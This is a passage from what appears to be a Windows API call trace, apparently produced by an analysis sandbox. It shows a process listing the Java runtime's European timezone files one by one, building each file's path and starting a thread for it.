lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chisinau", cAlternateFileName="")) returned 1 [0158.311] wcscmp (_String1="Chisinau", _String2=".") returned 1 [0158.311] wcscmp (_String1="Chisinau", _String2="..") returned 1 [0158.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b865260 [0158.312] wcscpy (in: _Dest=0x1b865260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.312] wcscat (in: _Dest=0x1b865260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.312] wcscat (in: _Dest=0x1b865260, _Source="Chisinau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau" [0158.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0158.313] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Copenhagen", cAlternateFileName="COPENH~1")) returned 1 [0158.313] wcscmp (_String1="Copenhagen", _String2=".") returned 1 [0158.313] wcscmp (_String1="Copenhagen", _String2="..") returned 1 [0158.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8652e0 [0158.313] wcscpy (in: _Dest=0x1b8652e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.313] wcscat (in: _Dest=0x1b8652e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.313] wcscat (in: _Dest=0x1b8652e0, _Source="Copenhagen" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen" [0158.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8652e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0158.314] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dublin", cAlternateFileName="")) returned 1 [0158.314] wcscmp (_String1="Dublin", _String2=".") returned 1 [0158.314] wcscmp (_String1="Dublin", _String2="..") returned 1 [0158.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865360 [0158.314] wcscpy (in: _Dest=0x1b865360, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.314] wcscat (in: _Dest=0x1b865360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.314] wcscat (in: _Dest=0x1b865360, _Source="Dublin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Dublin" [0158.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0158.315] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gibraltar", cAlternateFileName="GIBRAL~1")) returned 1 [0158.315] wcscmp (_String1="Gibraltar", _String2=".") returned 1 [0158.315] wcscmp (_String1="Gibraltar", _String2="..") returned 1 [0158.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8653e0 [0158.315] wcscpy (in: _Dest=0x1b8653e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.315] wcscat (in: _Dest=0x1b8653e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.315] wcscat (in: _Dest=0x1b8653e0, _Source="Gibraltar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Gibraltar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Gibraltar" [0158.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8653e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0158.316] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Helsinki", cAlternateFileName="")) returned 1 [0158.316] wcscmp (_String1="Helsinki", _String2=".") returned 1 [0158.316] wcscmp (_String1="Helsinki", _String2="..") returned 1 [0158.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b865460 [0158.316] wcscpy (in: _Dest=0x1b865460, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.316] wcscat (in: _Dest=0x1b865460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.316] wcscat (in: _Dest=0x1b865460, _Source="Helsinki" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" [0158.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0158.317] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Istanbul", cAlternateFileName="")) returned 1 [0158.317] wcscmp (_String1="Istanbul", _String2=".") returned 1 [0158.317] wcscmp (_String1="Istanbul", _String2="..") returned 1 [0158.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8654e0 [0158.317] wcscpy (in: _Dest=0x1b8654e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.317] wcscat (in: _Dest=0x1b8654e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.317] wcscat (in: _Dest=0x1b8654e0, _Source="Istanbul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" [0158.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8654e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0158.318] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaliningrad", cAlternateFileName="KALINI~1")) returned 1 [0158.318] wcscmp (_String1="Kaliningrad", _String2=".") returned 1 [0158.318] wcscmp (_String1="Kaliningrad", _String2="..") returned 1 [0158.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b865560 [0158.318] wcscpy (in: _Dest=0x1b865560, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.319] wcscat (in: _Dest=0x1b865560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.319] wcscat (in: _Dest=0x1b865560, _Source="Kaliningrad" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad" [0158.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c [0158.319] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiev", cAlternateFileName="")) returned 1 [0158.319] wcscmp (_String1="Kiev", _String2=".") returned 1 [0158.319] wcscmp (_String1="Kiev", _String2="..") returned 1 [0158.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c19c0 [0158.320] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.320] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.320] wcscat (in: _Dest=0x1b7c19c0, _Source="Kiev" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" [0158.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0158.320] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisbon", cAlternateFileName="")) returned 1 [0158.320] wcscmp (_String1="Lisbon", _String2=".") returned 1 [0158.320] wcscmp (_String1="Lisbon", _String2="..") returned 1 [0158.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8655e0 [0158.321] wcscpy (in: _Dest=0x1b8655e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.321] wcscat (in: _Dest=0x1b8655e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.321] wcscat (in: _Dest=0x1b8655e0, _Source="Lisbon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon" [0158.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8655e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0158.322] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="London", cAlternateFileName="")) returned 1 [0158.322] wcscmp (_String1="London", _String2=".") returned 1 [0158.322] wcscmp (_String1="London", _String2="..") returned 1 [0158.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865660 [0158.322] wcscpy (in: _Dest=0x1b865660, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.322] wcscat (in: _Dest=0x1b865660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.322] wcscat (in: _Dest=0x1b865660, _Source="London" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" [0158.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c [0158.323] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luxembourg", cAlternateFileName="LUXEMB~1")) returned 1 [0158.323] wcscmp (_String1="Luxembourg", _String2=".") returned 1 [0158.323] wcscmp (_String1="Luxembourg", _String2="..") returned 1 [0158.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8656e0 [0158.323] wcscpy (in: _Dest=0x1b8656e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.323] wcscat (in: _Dest=0x1b8656e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.323] wcscat (in: _Dest=0x1b8656e0, _Source="Luxembourg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" [0158.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8656e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80 [0158.325] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madrid", cAlternateFileName="")) returned 1 [0158.325] wcscmp (_String1="Madrid", _String2=".") returned 1 [0158.325] wcscmp (_String1="Madrid", _String2="..") returned 1 [0158.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865760 [0158.325] wcscpy (in: _Dest=0x1b865760, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.325] wcscat (in: _Dest=0x1b865760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.325] wcscat (in: _Dest=0x1b865760, _Source="Madrid" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" [0158.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84 [0158.326] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malta", cAlternateFileName="")) returned 1 [0158.326] wcscmp (_String1="Malta", _String2=".") returned 1 [0158.326] wcscmp (_String1="Malta", _String2="..") returned 1 [0158.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8657e0 [0158.326] wcscpy (in: _Dest=0x1b8657e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.326] wcscat (in: _Dest=0x1b8657e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.326] wcscat (in: _Dest=0x1b8657e0, _Source="Malta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" [0158.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8657e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88 [0158.327] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Minsk", cAlternateFileName="")) returned 1 [0158.327] wcscmp (_String1="Minsk", _String2=".") returned 1 [0158.327] wcscmp (_String1="Minsk", _String2="..") returned 1 [0158.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b865860 [0158.328] wcscpy (in: _Dest=0x1b865860, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.328] wcscat (in: _Dest=0x1b865860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.328] wcscat (in: _Dest=0x1b865860, _Source="Minsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk" [0158.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c [0158.329] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monaco", cAlternateFileName="")) returned 1 [0158.329] wcscmp (_String1="Monaco", _String2=".") returned 1 [0158.329] wcscmp (_String1="Monaco", _String2="..") returned 1 [0158.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8658e0 [0158.329] wcscpy (in: _Dest=0x1b8658e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.329] wcscat (in: _Dest=0x1b8658e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.329] wcscat (in: _Dest=0x1b8658e0, _Source="Monaco" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" [0158.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8658e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1558 [0158.330] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moscow", cAlternateFileName="")) returned 1 [0158.330] wcscmp (_String1="Moscow", _String2=".") returned 1 [0158.330] wcscmp (_String1="Moscow", _String2="..") returned 1 [0158.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865960 [0158.330] wcscpy (in: _Dest=0x1b865960, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.330] wcscat (in: _Dest=0x1b865960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.330] wcscat (in: _Dest=0x1b865960, 